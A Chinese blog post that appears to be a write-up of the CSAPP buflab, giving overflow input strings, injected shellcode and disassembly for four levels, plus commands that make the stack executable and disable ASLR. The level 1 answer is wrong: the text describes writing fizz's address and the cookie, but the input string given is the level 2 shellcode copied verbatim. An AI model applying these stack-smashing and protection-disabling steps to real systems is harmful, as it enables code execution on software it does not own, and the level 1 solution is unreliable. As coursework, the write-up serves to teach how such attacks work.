CSAPP buflab

本文详细介绍了如何通过精心构造的输入数据,利用缓冲区溢出漏洞进行攻击,包括设置返回地址、覆盖函数参数及利用恶意代码执行特定任务的过程。文章通过四个不同级别的示例,展示了从简单覆盖返回地址到复杂利用栈上代码执行的技术细节。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

level 0

由getbuf中的0x08048fe6 <+6>: lea -0xc(%ebp),%eax可知buf所在的地址为%ebp-0xc,由栈帧的结构可知getbuf中的返回地址保存在%ebp+4中,所以输入16个字节后输入的内容为smoke的地址0x08048e20,输入的内容为64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 20 8e 04 08。

level 1

如同level 0,在%ebp+4(写入fizz的地址0x08048dc0,当推出getbuf函数后%ebp指向源%ebp+8,在fizz中执行完push %ebp后%ebp为源%ebp+4,根据fizz 0x08048dc7 <+7>: mov 0x8(%ebp),%ebx可知,val保存在源%ebp+12,所以在填完fizz的地址后4个字节开始数据cookie的值0x113e5eb1。输入的内容为c7 05 dc a1 04 08 b1 5e 3e 11 68 60 8d 04 08 c3 2c b6 ff ff。

level 2

0x804a1dc为global的地址,buf的地址为0xffffb62c,通过在buf处填入代码,再通过修改eip来使得getbuf return后返回buf处执行代码,其中填充的恶意代码为

movl $0x113e5eb1,0x804a1dc
pushl $0x08048d60
ret

意思为将global的值设为cookie,将bang函数的地址 $0x08048d60压入栈,ret后返回bang函数处执行。
恶意代码地址为buf的地址:0xffffb62c
生成机器代码:

gcc -m32 -c l2_code.S
objdump -d l2_code.o > l2_code.d

l2_code.d中的内容为
00000000 <.text>:
0: c7 05 dc a1 04 08 b1 movl $0x113e5eb1,0x804a1dc
7: 5e 3e 11
a: 68 60 8d 04 08 push $0x8048d60
f: c3 ret
在l2.txt中填入c7 05 dc a1 04 08 b1 5e 3e 11 68 60 8d 04 08 c3 2c b6 ff ff(为什么执行代码填入顺序和l2_code.d中的一致,而地址却相反?)

执行后发现出现segmentfault,原因时不能执行栈上的代码,解决方案:

 sudo apt-get install execstack
 execstack -s ./bufbomb
 su
 sysctl -w kernel.randomize_va_space=0

level 3

要跳到12行,要满足两个条件(1)local == 0xdeadbeef(2)val==cookie。由于使用了volatile关键字声明local,所以读local会直接从内存中读取而不是寄存器中读取,所以当函数执行完getbuf()返回test时%ebp必须和原来的相同,且getbuf返回cookie。
通过gdb查看test()中ebp的值为0xffffb658,getbuf返回后执行的下一条指令的地址为0x0804901e
插入的恶意代码为:

movl $0x113e5eb1,%eax
movl $0xffffb658,%ebp
pushl $0x0804901e
ret

最后生成l3_code.d中的内容为
Disassembly of section .text:

00000000 <.text>:
0: b8 b1 5e 3e 11 mov $0x113e5eb1,%eax
5: bd 58 b6 ff ff mov $0xffffb658,%ebp
a: 68 1e 90 04 08 push $0x804901e
f: c3 ret
最终的输入为
b8 b1 5e 3e 11 bd 58 b6 ff ff 68 1e 90 04 08 c3 2c b6 ff ff

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值